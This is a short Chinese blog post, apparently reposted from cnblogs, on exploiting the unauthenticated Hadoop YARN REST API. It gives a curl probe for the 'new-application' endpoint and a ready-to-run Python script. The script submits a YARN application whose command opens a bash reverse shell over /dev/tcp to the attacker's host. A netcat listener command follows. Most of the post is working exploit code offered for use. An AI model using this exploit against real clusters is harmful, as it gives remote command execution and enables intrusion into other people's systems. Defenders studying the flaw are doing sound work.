Hadoop Yarn REST API未授权漏洞利用

  

Hadoop Yarn REST API未授权漏洞利用

Hadoop是一个由Apache基金会所开发的分布式系统基础架构,YARN是hadoop系统上的资源统一管理平台,其主要作用是实现集群资源的统一管理和调度,可以把MapReduce计算框架作为一个应用程序运行在YARN系统之上,通过YARN来管理资源。简单的说,用户可以向YARN提交特定应用程序进行执行,其中就允许执行相关包含系统命令。

yarn默认开发8088和8089端口。

检测漏洞存在方式:

curl -X POST 172.16.20.134:8088/ws/v1/cluster/apps/new-application

返回如下请求证明存在

漏洞利用python代码 :

import requests

target = 'http://172.16.20.134:8088/'
lhost = '172.16.20.108'  # put your local host ip here, and listen at port 9999

url = target + 'ws/v1/cluster/apps/new-application'
resp = requests.post(url)
print(resp.text)
app_id = resp.json()['application-id']
url = target + 'ws/v1/cluster/apps'
data = {
    'application-id': app_id,
    'application-name': 'get-shell',
    'am-container-spec': {
        'commands': {
            'command': '/bin/bash -i >& /dev/tcp/%s/9999 0>&1' % lhost,
        },
    },
    'application-type': 'YARN',
}
print (data)
requests.post(url, json=data)

本地监听,返回shell

nc -lvp 9999

  

猜你喜欢

转载自www.cnblogs.com/junsec/p/11390634.html